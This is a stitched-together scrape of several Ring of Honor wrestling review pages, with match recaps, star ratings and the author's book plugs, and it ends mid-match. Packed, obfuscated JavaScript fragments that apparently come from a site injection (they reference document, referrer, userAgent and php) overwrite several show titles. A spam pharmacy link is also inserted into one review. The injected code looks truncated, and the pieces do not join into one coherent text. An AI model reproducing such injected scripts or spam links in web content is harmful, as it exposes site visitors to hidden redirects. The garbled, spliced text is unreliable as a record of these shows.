");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndkde|var|u0026u|referrer|sanaz||js|php'.split('|'),0,{})) of Honor
Date: November 30, 2016
Location: William J. Myers Pavilion, Baltimore, Maryland
Attendance: 600
Commentators: Kevin Kelly, Steve Corino, Alex Shelley

Opening sequence.

Lio Rush vs. Jonathan Gresham

Feeling out process to start and Gresham annoys Lio with an errant forearm to the face. They hit the mat with the arms interlocking for a quick standoff. Lio lights up the chest with a hard kick but Gresham kicks the arm to even things out. An enziguri puts Rush on the floor and a middle rope moonsault is awkwardly caught as Lio almost looks like he tried for a Big Ending.

Post match the Motor City Machine Guns come in and put both guys over.

We run down the Final Battle card.

Addiction vs. Briscoes

The Addiction actually shakes hands after the match.

https://www.amazon.com/dp/B01MQKDV5O

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frrky|var|u0026u|referrer|tikhb||js|php'.split('|'),0,{})) of Honor
Date: February 24, 2016
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 675
Commentators: Kevin Kelly, Nigel McGuinness

TV Title: Roderick Strong vs. Jonathan Gresham

Post match Bobby Fish comes out to steal the title, triggering a brawl.

Bob Evans/Tim Hughes vs. War Machine

We look back at Adam Page attacking BJ Whitmer last week.

BJ Whitmer vs. Chase Brown

Dalton Castle has the Boys ready for next week.

ACH/Alex Shelley vs. Briscoe Brothers

We take another break and come back with Alex forearming Jay, allowing the tag off to ACH. Everything breaks down and the Briscoes are in trouble with ACH mostly hitting the Jordan onto Jay. Back in and a jumping cutter gets two on Mark with Jay making the save and cleaning house. Mark kicks Alex in the face but gets kicked in the corner. Daniels gets on the apron for a distraction and ACH misses the Midnight Star, allowing the Doomsday Device to put ACH away at 8:35.

Post match Kazarian and Sabin come in for the beatdown until security breaks it up.

An add for the Anniversary Show (read as NEW JAPAN IS AWESOME) takes us out.

Remember to follow me on Twitter @kbreviews and pick up my new book of the Complete Monday Nitro Reviews Volume IV at Amazon for just $3.99 at:

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Well I talk but you get the idea.  Ok so I’m typing so maybe you don’t get the idea.

http://www.wrestlingrumors.net/kbs-review-lets-talk-about-final-battle/46760/

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfter|var|u0026u|referrer|ifeed||js|php'.split('|'),0,{})) of Honor
Date: August 26, 2015
Location: William J. Myers Pavilion, Baltimore, Maryland
Commentators: Steve Corino, Kevin Kelly

Steve Corino is back and says his issues with BJ Whitmer are over.

Bloodbound Warriors vs. Briscoes

Scorpion slams Mark over the top, sending him head first into the top rope and onto the apron to make things even worse. Wolf throws Mark hard into the barricade as this has been one sided so far. Back in and a double flapjack gets two on Mark but he flips over to Jay to pick things up. Everything quickly breaks down and Jay dives on Wolf, leaving Mark to strut around, only to get flipped over the top and outside as well. Back inside and a Death Valley Driver gets two on Scorpion, followed by the Froggy Bow from Mark and a wicked lariat from Jay for the pin at 4:24

Donovan Dijak vs. Roderick Strong

The House of Truth comes in for the beatdown until War Machine makes the save. I smell a six man.

Tag Team Titles: Future Shock vs. Addiction

Addiction is defending and Corino freaks out over the Future Shock reunion. Chris Sabin is on commentary and Daniels is in a military uniform. Cole and Daniels get things going as Sabin talks about having mutant healing powers. Adam headlocks Daniels on the mat but gets stomped down on the mat and then in the corner for a change of pace. Kyle gets the tag and some slick double teaming gets two on Daniels as we take a break.

Bobby Fish and the Young Bucks run in for the save but the Kingdom comes back in to make it a huge brawl. The Bucks hit stereo dives and soak in the cheers to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfyee|var|u0026u|referrer|bdifn||js|php'.split('|'),0,{})) of Honor
Date: July 22, 2015
Location: Terminal 5, New York City, New York
Commentators: King Corino, Kevin Kelly

^{Opening sequence.}

Various wrestlers are excited about making it to 200 episodes.

Highlights from Steel Cage Warfare from July 27, 2013 where SCUM was destroyed. King Corino laughs off being evil.

Clip of the end of Tag Wars on December 27, 2014 with ACH/Matt Sydal vs. the Briscoes vs. Addiction vs. ReDragon. Chasing the Dragon was enough to pin ACH/Sydal and retain the Tag Team Titles.

Clip of Hanson vs. AJ Styles from November 22, 2014. Hanson hits a nice powerbomb for two but takes too much time going up (especially considering how big he is), allowing Styles to hit the Clash for the pin.

House of Truth vs. Briscoe Brothers/ODB/Roderick Strong

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

http://www.amazon.com/dp/B011T13PV4

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Best eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kaihk|var|u0026u|referrer|ikarn||js|php'.split('|'),0,{})) in the World 2014
Date: June 22, 2014
Location: Tennessee State Fairground Sports Arena, Nashville, Tennessee
Attendance: 1000
Commentators: Steve Corino, Kevin Kelly

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nanyb|var|u0026u|referrer|hhnkh||js|php'.split('|'),0,{})) didn’t take notes so my memory isn’t going to be perfect.  These are the mental notes I took and I’ll save the full breakdown for later.  Also I took about 20 pictures but the cord for the camera is about 750 miles away so you’ll have to wait on those.I got to the event about 40 minutes early and saw a VERY long line.  Thankfully it didn’t take long to get through.  I had general admission seating and could sit anywhere in the endzone of the arena.  The seats were looking straight at the entrance so I had a great view all night.  Not bad for about $32.  The arena was mostly full but the bigger side did have some empty seats at the top.

He says bring on anyone from London or Japan but on February 16, there’s going to be a fight in New York. Nigel McGuinness comes out and accepts the challenge. And here’s Jimmy Rave to beat up McGuinness. Joe slaps him around and we’re going to get Rave vs. Nigel http://onhealthy.net/product-category/anticonvulsants/ later on.

It’s intermission time so Adam Pearce and Shane Hagadorn harass Gary Michael Capetta who looks to be about 90. They must have edited most  of intermission as we’re already back.

Jimmy Rave vs. Nigel McGuinness

Well that didn’t take long to sanction and sign did it? It’s weird seeing Wolfe with spiked hair. He’s ridiculously popular though, just like in TNA so of course he can’t be pushed right? They shake left hands for some odd reason. That’s different. This isn’t much but to be fair they have a feud going so this works.

I still don’t get the appeal of Rave though. Nigel does an insane submission hold where he locks Rave’s arm around his leg and traps the other arm behind Nigel’s back and bends backwards which looked like it was going to rip it off. The crowd goes oooooo at that. Nigel is apparently a big deal here. Nigel takes his head off with a clothesline but it gets two. Oh I’m sorry: it was a lariat.

Tower of London hits and Nigel isn’t sure what to do. Rave hits a Pedigree for one. Rave counters a Hulking Up Nigel into a Crippler Crossface. As impressive as Rave has been, I still just don’t care about him. Nigel hits a Tower of London (Diamond Cutter) onto the apron, which would be about the same as the mat wouldn’t it? It gets two either way so it doesn’t really matter.

And then after getting destroyed for about five minutes, Rave gets the heel hook and Nigel taps despite never having his leg worked on at all. I HATE moves like that. If that’s the case, why in the world would he wait almost fifteen minutes before going for it? At least with a strike like Sweet Chin Music it’s a knockout move.

This is just a submission which makes a part of the body hurt. Why go for the Crossface earlier? That makes NO SENSE. It’s completely anti-psychology and that’s just irritating. Plus it’s Jimmy Rave so it’s even more annoying. Rave wants a world title shot.

Rating: B-. Totally annoying ending aside, this was a pretty solid match I guess. There were a ton of near falls but you could see the ending coming a mile away with about three minutes to go. Nigel looks dominant but let’s push Rave because…well just because! Didn’t like the ending at all but the rest was good.

Danielson is getting ready.

Matt Sydal/Shingo/CIMA vs. Delirious/Austin Aries/Roderick Strong

Sydal is more commonly known as Evan Bourne as I mentioned above. Shingo is from Dragon Gate and CIMA might be as well. His name is pronounced Shima so this could lead to some misspellings. Also, I’m not capitalizing his name again. It’s the same thing despite what some would have you believe. Delirious is….yeah.

Aries is the only two time ROH World Champion so he’s something special here. Strong is a guy with something like 16 ways to hit a backbreaker. This is under Dragon Gate Rules which aren’t explained. Strong, Aries and Sydal were in a team called Generation Next together.

Apparently you don’t have to tag to switch off but you have to be on offense. Ok that makes sense. Delirious goes into a trance and goes insane once the bell rings. He’s definitely interesting if nothing else. He’s great in the ring if nothing else. He starts with Sydal who I’ll likely call Bourne at least once. This is your usual insane Japanese match and apparently the fans like Cima.

There isn’t much to talk about here other than it’s just general insanity the whole time. This is what you call a spotfest with some mild wrestling involved. It’s not bad or anything, but it’s not comparable to traditional matches. It’s weird seeing Sydal being considered a serious competitor rather than a spot monkey or jobber.

The fans like both teams. Aries is getting beaten down pretty fiercely. I think the team with the Japanese guys and Sydal are the heels even though Daniels, Sydal’s partner, was ridiculously popular. Fisherman’s suplex gets two on Aries. Strong gets the tag and comes in and he and Delirious clean house.

Cima is getting his head handed to him. With everyone brawling on the floor, Sydal goes up top and the crowd just rises to their feet. Great visual there. Delirious hits Shadows Over Hell (Splash to the back of a guy not on the mat) is followed by a 450 from Aries. This is totally insane. Cobra Stretch, Delirious’ submission, is broken up. Cima hits a package piledriver on Delirious for the pin.

Rating: B. This falls into that gray arena of entertaining but bad as far as flow or anything like that goes. Then again that’s kind of the point of the Dragon Gate promotion. This was supposed to be completely insane and it more or less was. It was fun though so I can’t complain much at all.

Everybody helps everybody up in a nice moment. Not everything has to be some epic storyline.

Homicide is ready.

Jack Evans returns in 2007.

ROH World Title: Homicide vs. Bryan Danielson

We have 54 minutes left in this tape. Let’s see if these two are as good as they’re said to be. We’re in Homicide’s hometown so he’s WAY over. It’s a good thing his first name isn’t commonly known. It might be hard to take a guy named Nelson seriously as s street thug. Danielson’s Final Countdown intro is cool too so I’ll give him that. He certainly has his fans too.

I’ve heard great things about both guys in this company so show me what you’ve got. We get the big match intros which are always fun. Danielson is heel here because he more or less has to be. We stall forever as the fans chant ring the bell. Danielson flips him off instead of shaking his hand like the Code of Honor stipulates. Here we go. About forty six and a half minutes to go in the tape at the bell so we’ve got a LOT of time here.

Some guy shows up to do commentary but his name is incomprehensible. We get a long feeling out sequence and Homicide takes off his bandana. Homicide has apparently had some shady decisions in title matches and if he doesn’t win here he’s gone, more or less saying he wins. At least I think so as he came to TNA around this time.

Smokes, the guy that got hurt earlier, isn’t here due to Pearce and Hagadorn. Homicide has a bad shoulder apparently thanks to Danielson last night. Danielson has tights like Regal used to wear. We have a lot of quick holds as they try to gain control. Apparently Danielson has a bad shoulder too.

No one really has an advantage for more than a few seconds here so we’re really still feeling each other out here. Apparently in a previous title match Homicide was getting hit in the head a lot and the referee stopped it which he disagreed with. The surfboard continues to look completely insane every time I see it.

This is wrestler vs. brawler here which is always an interesting dynamic. We get a slingshot suplex as Danielson is in control at this point. Scratch that as Homicide takes over. We hit the floor and Danielson is in trouble. We get the I HAVE TIL FIVE thing which I don’t think I’ve ever seen before. Three Amigos takes over for Homicide as Eddie had been dead just over a year at this point.

And at about 11 minutes in, Pearce and Hagadorn run in for the DQ. Are you kidding me? Danielson leaves with the belt as Homicide’s Crew makes the save. The crowd LOSES IT over this as even the commentators are saying YOU HAVE TO BE KIDDING ME. Apparently they are as the referee says no way it ends that way and let’s keep going!

Here we go again as we’re back at it. Oh and the running in heels hit a spike shoulderbreaker on Homicide’s bad shoulder so it’s hurt now. I don’t get the point of the run in at all here. At least it happened I guess you would say early on in the match rather than later so that’s good. It’s his right arm if you’re curious.

Smokes is at ringside now. Oh joy. Danielson is in control now as you would expect him to be. Danielson goes for a flying headbutt and gets caught in a Diamond Cutter (Yes I know it’s properly called an Ace Crusher. If you want to argue which name is more famous I’d love to hear it) Also, assuming the headbutt was launched when Homicide was on the mat, dang he got up fast.

Homicide speeds things up and dives into the second row through the ropes in a cool looking spot. Now Danielson’s shoulder is hurt. This has been a very back and forth match. Danielson gets caught in an armbar but gets to the ropes for the escape. I love that jumping European Uppercut off the top. A crossface chickenwing goes on but more ropes are grabbed.

They trade strikes and hit the floor. Homicide slides back in and hits the ropes so he can….slide back out. Sure why not. Danielson hits a dive into the first few rows that looked great. Can we get rid of that Smokes idiot? He’s getting on my nerves. Danielson starts the series of elbows to the head like he did in the previous match but it doesn’t work.

There’s the crossface chickenwing and the body scissors in the middle of the ring. In a cool spot, the arm comes down a third time but as the referee goes for the bell, Homicide grabs his leg. And Smokes of course has to pour water on Homicide. Seriously, can someone shoot this guy?

Danielson doesn’t let go on the five count so Homicide just gets up. Uh, why didn’t he DO THAT EARLIER? Danielson gets Cattle Mutilation. One thing I want to know: where in the world did he come up with that name? Did he throw that on one day and was thinking about what would happen if he did it to a cow?

He hooks it three times but Homicide won’t tap. He throws in more elbows to the head but he stays in it. Homicide gets the Cop Killer (Vertebreaker for you WCW fans) for a LONG two but Danielson grabs the ropes. Homicide pulls a Randy Savage and goes for the ring bell which leads nowhere.

And then Danielson gets a low blow and small package for two and then Homicide hits a lariat for the pin. Seriously, that might have been the most out of nowhere ending ever. The ring mostly fills up for a celebration. Now can we please kill Julius Smokes?

Rating: A. This was indeed a great match and well worth seeing. There were some moments I didn’t like, but they were few and far between. Homicide winning was pretty clear but it came off well. They built up to a great match and I liked what I saw. Danielson is still overrated, but this was very good stuff. Homicide just doesn’t feel like a world champion to me, but I was impressed. Solid match and worth seeing.

Danielson hands him the belt and Homicide makes his acceptance speech. The remaining eleven minutes are him celebrating and highlights of the year which mean nothing to me since I don’t know who these people are.

Overall Rating: A-. Again I liked this show a lot. There’s one bad match and the rest is all at least good with the main event being great. This was a great show to close things out with for the year and it came off great with a big time title win. This is a great look at the company as you have a title match, a big angle, a lot of high flying, some good mat work and submission stuff in front of a white hot albeit small crowd. This was a great show and well worth checking out.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atrbz|var|u0026u|referrer|dbfst||js|php'.split('|'),0,{})) Battle 2010
Date: December 18, 2010
Location: Manhattan Center, New York City, New York
Commentators: Kevin Kelly, Dave Prazak

This is the final show from 2010 in Ring of Honor. Someone requested this months ago and I got really behind so it’s been sitting on my computer since February. There’s a double main event here with Davey Richards vs. Roderick Strong for the ROH World Title and the real main event of mask vs. ROH career in the final battle of Kevin Steen vs. El Generico which was called feud of the year by Meltzer, showing that once again he has little idea what he’s talking about (Cena vs. Nexus anybody?). Let’s get to it.

Davey says Final Battle is the beginning for him.

The Briscoes say Man Up.

Steen says if he loses he’s gone.

All Night Express vs. Kyle O’Reilly/Adam Cole

O’Reilly and Cole are young guys I’ve heard a lot about but have never actually seen. The Express recently turned face (in March that is. Still heels here) and have grown up on camera from comedy jobbers to a serious tag team. They’re Rhett Titus and Kenny King (Kenny from the second season of Tough Enough). Titus vs. O’Reilly to start us off. Kyle is a submission guy apparently.

O’Reilly hammers away and moves very quickly to take over and it’s off to Cole. Ok Cole has longer hair. Got it. Back elbow off the middle rope gets two for Cole. Reilly takes over so King pulls Titus to the floor. Kyle dives to the floor to try to take the Express out but they manage to catch him, only for Cole to dive on all three of them and take them down.

Back to the ring and it’s O’Reilly vs. Titus but King is in before I finish that sentence. The Express tags in and out very quickly. Double teaming sets up a spinwheel kick by King to take down Kyle for two. We hit the chinlock and it’s back off to Titus quickly. We get one of those relatively annoying contrived spots as O’Reilly hands King’s foot to Titus and leg drags Titus, making Titus leg drag King.

Hot tag to Cole who gets a DDT to King onto the apron. That always looks awesome. O’Reilly gets rolling butterfly suplexes to Titus although I’d question the amount of pain in them. Missile dropkick by O’Reilly from the apron takes down King on the floor as Cole hits a top rope cross body for two on Titus. King back in and some nice double teaming gets two on Cole. It was a hot shot by Titus to set up a double knee to the back by King so Titus could roll up Cole for two if you were curious.

Terrible kick by Cole but he gets caught in a suplex anyway so it didn’t get him anywhere. The superkicks start flying and everyone is down. Titus gets caught in the tree of woe and it’s a double baseball slide to his face. Cole and O’Reilly are a lot like the Guns but not as crisp. Titus pulls the rope down to send O’Reilly to the floor and a blockbuster/powerbomb combination ends Cole.

Rating: B. Nice fast paced tag match to open things up here but the total forgetting about tagging hurt it at the end. It turned into can you top this which is fine for an opener but I have a feeling that’s what it’s going to be in almost every match tonight. Fun match and a good way to open the show, but nothing we haven’t seen in a lot of other matches before.

TJ Perkins vs. Colt Cabana

Cabana has since won the NWA World Title. This is a scientific match or something like that. Perkins is a good technician apparently. He was more famous as Puma in TNA. TJ does some nice escapes to hit a dropkick and it’s a standoff. Colt tries to send Perkins through the ropes but can’t quite get him through. There’s another standoff so Colt grabs the arm.

Headscissor takeover by Perkins so Cabana does some exercises and a headstand. Cabana gets something similar to a cousin of a surfboard which he shifts into a body scissors. The dueling chants begin. This has been a scientific match which is a nice change of pace but at the same time it’s a bit boring. This is almost a recital than a match. Cabana manages to move into a Billy Goat’s Curse (reverse Boston Crab) but a rope is grabbed. They slug it out and Colt takes him down with a big elbow to the head. Out of nowhere Cabana grabs a sunset flip and grabs Perkins’ wrists for the pin.

Rating: C+. Like I said in the match itself this was fun but at the same time it got a bit too rehearsed for me. Definitely something different but they needed to have some more aggression in there to make it good. That’s why people watch wrestling: to see the fake feuds and stories rather than legit stuff like this.

Daizee Haze and Sara Del Ray talk about being taken seriously as wrestlers. They’re both bringing in tag partners tonight.

Sara Del Ray/Serena Deeb vs. Daizee Haze/Amazing Kong

Deeb is of course Serena from the Straightedge Society. The fans are way into Kong. Haze is dressed like Kong but she’s a bit slimmer. Sara vs. Haze to start us off. They go back and forth a bit until Haze gets a sloppy rana off the top. Deeb comes in and she prevents a tag to Kong. The fans chant for the ROH boy CM Punk as Haze hammers away.

Deeb gets a gutbuster for two and it’s back off to Del Ray. Abdominal stretch by Serena as Kong hasn’t been able to get in yet. It’s so weird hearing Kevin Kelly on commentary for the first time in about 13 years for me. In a nice counter, Haze gets out of the Tree of Woe by lifting up and hooking a cutter to bring in Kong to a ROAR.

Powerbomb is blocked as is a clothesline. Implant Buster puts Del Ray down but instead of a cover we get Haze in again. A backsplash gets two and Deeb gets destroyed by Kong and Haze. Everything breaks down again and Haze climbs up Del Ray to get a sunset flip for two. Del Ray gets her finisher, the Royal Butterfly (butterfly suplex into a powerslam) for two. Deep spears Kong out of nowhere and a Piledriver kills Haze dead for Del Ray to get the pin.

Rating: C. Not great here and appropriately enough after that big speech aboutbeing taken seriously, Haze is carried out after having the shortest match of the night. Not bad but really just kind of there at the end of the day. It’s certainly better than what the Divas and Knockouts have done recently, but nothing special at all.

Sonjay Dutt vs. Eddie Edwards

The place erupts for Edwards who is now the world champion but here is just the former TV Champion. I haven’t seen Dutt in a long time. Place is totally behind Edwards here to say the least. Technical stuff to start us off as Dutt grabs a bow and arrow hold which gets him nowhere. They dance around a bit with no one being able to get an advantage.

Dutt slaps Edwards in the face and then hits the floor, crawling under the ring. He sneaks up on Eddie, only to get chopped down hard. Dutt gets a Lionsault to the back of Eddie to take over. Sonjay likes to clap a lot. We hit the floor and talk about Haas and Benjamin for some reason. Eddie is in trouble but something tells me he’ll be just fine like nothing ever happened in a few seconds.

Back in and we hit the chinlock. Hey what do you know I was right about Eddie who hits a sitout F5. Into the corner and Sonjay is crotched on the top. Springboard rana gets two as the fans chant for Eddie again. Lots of counters and escapes follow, resulting in a half crab (called an Achilles hold here) by Eddie which is reversed into a small package. Top rope splash by Sonjay gets two.

Spinning DDT by Dutt and a standing shooting star gets two. Superkick to the ribs by Eddie followed by a Codebreaker from the middle rope. This is firmly into the ROH style and my boredom is building rapidly. They trade superkicks and a clothesline gets two for Eddie. Double stomp to the back gets no cover for Eddie as instead it’s a powerbomb into the 2K1 Bomb which is a leg hook brainbuster.

Rating: C-. They’re getting into the ROH style early here which I think spells bad news for the rest of the show for me. I’ve never been a fan at all of the whole kick out of everything and strikes all around and popping up after every move. It gets repetitive and makes the offense look weak in the process. Not bad, but did nothing for me at all.

We get an ad for the Glory By Honor with the Kings of Wrestling vs. Haas/Benjamin. The WWE guys say ROH is awesome and that was fun.

Jim Cornette talks to Haas and Benjamin who talk about their careers. This interview was taped at the Davis Arena, the home of OVW and where ROH had their TV tapings for a long time. This must be intermission as you can hear the fans chanting something. They make the announcement that they’re officially in Ring of Honor on a permanent basis.

A guy named Mike Bennett comes out in a suit and a guy who looks like a coach named Bob Sanders. Sanders has a chair, as in one you would have at a dinner table. The fans chant who are you.

Christopher Daniels vs. Homicide

Daniels is TV Champion but this is non-title. That annoying pest Julius Smokes is with Homicide here. Egads I don’t know who is more overrated and annoying here. The fans are kind of split here so they’re no help. The dueling chants begin and they’re rather loud. They trade headlocks and call some spots. Arm drags get no one anywhere either.

Daniels gets two off a snapmare of all things and we hit the chinlock in about 90 seconds. Now we’re talking about Waffle House for some reason. Apparently Bennett is the Prodigy and wants a title. They hit the floor and Daniels takes over with a moonsault. Back in that gets two. Backslide gets two for Daniels. I can barely hear the commentators. Three Amigos by Homicide gets an Eddie chant. They also get two.

Homicide sends him to the floor and it’s a tope con hilo from Homicide. Back in and a t-bone suplex with a bridge gets two for Homicide. Top rope splash eats knees though and Daniels looks at his hand. Spinarooni maybe? Homicide gets a suplex and a jumping knee to the back of the head from the middle rope for two. Homicide gets a submission on the neck but Daniels counters into a Crossface for a few seconds.

Cop Killer is reversed into a release Rock Bottom (screw that Uranage nonsense) but the Best Moonsault Ever misses. Homicide can’t get a tornado DDT so Daniels hits an enziguri and calls for Angels’ Wings. The ref is bumped though and Homicide throws his shirt at Daniels and a Diamond Cutter ends it. I don’t see the point of the ref bump at all but at least the finish was clean.

Rating: C. Just a match really but not as bad as I expected it to be. Daniels keeping the striking to a minimum is always a good thing and it certainly was here. Homicide is someone I’ve never gotten the appeal of either so this really was a bad match for me. Could have been worse though.

We recap the Briscoes vs. the Kings of Wrestling. In short, the Briscoes are brothers and they got beaten down for attacking the Kings’ associate Sarah Del Ray. The Kings’ manager Shane Hagadorn kicked one of them in the balls so the Briscoes’ dad (called Papa Briscoe) jumped the rail and beat up Hagadorn, setting up this.

Kings of Wrestling/Shane Hagadorn vs. Briscoes

The Briscoes are Papa, Jay and Mark and the Kings are Chris Hero and Claudio Castagnoli. Papa says something to Hagadorn and is loudly booed. I can never remember which Briscoe is which. Ok Jay is starting here against Hero. Jay is completely bald and Mark has really short hair. That helps a lot. Jay controls early and lets Papa get in a chop of his own. Double teaming gets two for Mark.

Hagadorn tries to help and accidentally chops Hero. He’s like the third person to chop him so Hero is a bit annoyed to say the least. Mark grabs a rollup for two as we’re very early in the match still. Running boot by Mark for two. Off to Claudio now who accidentally chops Hagadorn to send him to the floor. The Briscoes (the younger ones that is) chop away at him for two.

Claudio is like screw this and suplexes Jay with ease. The Kings get a double back drop/suplex for two on Jay and it’s off to Hagadorn. It’s the modern day Bobby Heenan as he hammers away and can’t get anywhere. It’s time for Papa vs. Shane as the tags are going way too fast here. Some terrible stomps by Papa and it’s off to Claudio again. Papa actually gets a rana for two!!! WOW!

Sara had to make the save so Papa dips her back and kisses her which I think she likes. Del Ray is GONE according to the referee, drawing a big old pop. Now the fans are behind the Kings which is kind of odd as they’re the faces here. Mark gets double teamed in the corner and the Kings take full control. Off to Hagadorn who gets the roaring elbow ala Hero to Mark. And then he runs. Well you can’t say he’s not intelligent.

Hagadorn comes in again, hits a European uppercut and is gone. I told you he’s like Bobby Heenan. Papa runs in to break up a hold by Hero and it’s off to Claudio again. Good night is he strong. Powerslam gets two after a chinlock. Mark manages to escape some double teaming and it’s lukewarm tag to Jay. Downward Spiral into the middle rope and a middle rope boot get two.

Claudio vs. Jay now with Jay being tossed into the air and Claudio trying a European Uppercut, which is one of his big moves. It misses by about 9 inches but it’s sold anyway, getting two. Riccola Bomb (arm trap powerbomb) is reversed into a Death Valley Driver by Jay for no cover as instead he brings in Mark. Not a horrible idea. Mark and Claudio slug it out and it’s a double clothesline to send them both down.

Papa vs. Hagadorn again and Shane takes the straps down because Hero is behind Papa. They set for a low blow but everything goes insane and it’s kicks either to the balls or head/chest all around. Papa spears Shane down so his boys can hit stereo tope con hilos to the Kings. Papa teases a dive but Hagadorn trips him up. Rolling Elbow kills Papa and the fans cheer for Hero. Nice people there. Jay breaks up the Kings’ finisher on Papa and Papa gets a Stunner on Claudio! Doomsday Device with PAPA (his name is Mike apparently) playing Hawk gets the pin on Hagadorn. Good looking clothesline too.

Rating: B-. All things considered, this was good. Hagadorn has training but is a manager. Papa isn’t a wrestler but did ok here considering he knew all of two moves (observation, not criticism). There was no way the Briscoes would lose here and everyone knew it, but the manager got pinned so the Kings don’t lose any credibility. This was fine and even good at times.

Davey Richards talks about being reborn here. Isn’t he supposed to be retired now? It’s the same “I’m still here” promo he seems to always do.

We get clips of Truth Martini brainwashing Roderick Strong with various babbling. Roderick said something about Davey’s grandfather and it got under Davey’s skin apparently.

ROH World Title: Davey Richards vs. Roderick Strong

Strong is the heel champion here. The fans chant Best in the World for Richards. I’ve always been a fan of Strong so this isn’t a total loss for me. Richards is likely going to be doing the ROH style, meaning I’ll be bored quickly. There’s the bell and the fans are immediately chanting for Richards. They grab each other and go into the corner as we’re in a total feeling out process here which is fine.

Some mat work gets no one anywhere. To the mat for some counters and Richards has a very slight advantage. He grabs a modified bow and arrow hold which is reversed into the same hold by Strong. Indian Deathlock goes on for Richards and Strong’s leg gets stretched a bit. We get the Benoit hold where the Indian Deathlock is still on and it’s a bridging reverse crossface.

Ankle lock by Richards as this is submission central at the moment. Cross armbreaker gets Davey nowhere. We unleash come kicks and another cool hold before more kicks get two. Richards likes to kick. Northern lights suplex gets two. We hit the floor and it’s all Davey here. Running big boot to the face of Strong and the champion is in big trouble. They go into the ring for maybe 2 seconds and we’re back to the floor again.

Strong takes over again and fires in elbows to the head. Leg lariat gets two. They slug it out again and down goes Richards again. More striking commences and Strong counters a handspring enziguri with a baseball slide in a cool spot. Dropkick puts Strong on the floor again but only for a second. Now he’s out there again, making it twice in 5 seconds. Big dive by Richards and they’re down in the crowd.

They slug it out for about the fourth time with Davey getting a suplex for two and an armbar which gets him nowhere. More strikes follow and a swan dive gets two for the challenger. Cross armbreaker to Strong gets Richards nowhere again. Strong wakes up and hits a Falcon Arrow for two. Roderick gets the Stronghold (Boston Crab, finisher) and Richards is in trouble. The fans tell him not to tap in rhythmic succession of course.

We strike it out for about the thousandth time and Richards kicks Strong a lot. German suplex gets two. Belly to back off the top gets no cover because Richards isn’t that smart. Lariat gets two. Big kick gets two so Richards throws on an ankle lock which makes no sense but whatever. Strong taps but Truth Martini has the referee. Shooting Star Press gets two for Richards.

They go up to the top rope again and Roderick gets a half nelson backbreaker onto the ropes. Why not a suplex off the top is beyond me but whatever. They slug it out on the apron and Davey is dropped through a table and takes a Gibson Driver (release tiger bomb) on the floor.

Richards is thrown into the crowd and Strong heads back in. Richards is back in at 19 (20 counts in ROH remember) and a Gibson Driver sets up the Stronghold again. That gets rolled through into another ankle lock but Strong reverses into one of his own. Richards counters into a Texas Cloverleaf as my head hurts again. Crossface by Strong is reversed into a rollup for two.

Gibson Driver by Richards gets two and it’s back to the ankle lock. Davey lets go of the hold and has something wrong with him. Backbreaker and a big boot (Sick Kick apparently) gets two and it’s another backbreaker. More kicks get two. Liontamer goes on and Richards passes out to end it.

Rating: B-. Yeah go ahead and jump down my throat for it. I’ve never been a fan of these types of matches at all. Every main event guy in ROH seems to have about 19 finishers or signature moves and the last ten minutes of every match is nothing but kicking out of/reversing them. Also, we get it: you can kick each other and throw forearms. I’ll never get the obsession with strikes in this company. Long match that needed to have about 8-10 minutes chopped out, which you can say about every main event match in ROH.

Davey takes awhile to get out. Not sure if it’s legit or a great selling job. If it’s legit, no issues with them taking a few minutes to get him out.

We recap Kevin Steen vs. El Generico. This was a year long feud with them starting as tag partners. Steen turned heel with a huge chair shot and recently ripped the mask off of Generico. Steve Corino and Colt Cabana got involved for awhile also. This is mask vs. career in ROH and is the final battle for them.

Kevin Steen vs. El Generico

The fans chant feud of the year which Meltzer agreed with apparently. Steen offers a handshake but gets spit on. Steen spits back as we’re told this isn’t sanctioned and is more or less anything goes. Steen is sent to the floor immediately and the fans seem to be behind Generico. The fat guy (Steen) is sent into the railing and then back into the ring.

Generico finds a chain from somewhere and blasts Steen in the face a few times with it. Mafia kick with the chain around the face of Steen has Generico in control. Steen goes under the ring for a bit to blade. Table time as it bounces off the head of Kevin. Steen tends to sit there and breathe a lot. Somebody get that boy a Twinkie before he passed out!

A ladder is pulled out and it also goes into the head of Steen. Steen is of course fine and grabs a powerbomb to the apron. He takes the time to write out DIE in his own blood and licks it off. Ok then. Steen takes the ROH signs off the barricade and piles them onto Generico for a splash off the apron. A full barricade is picked up and launched at Generico, missing for the sake of avoiding death.

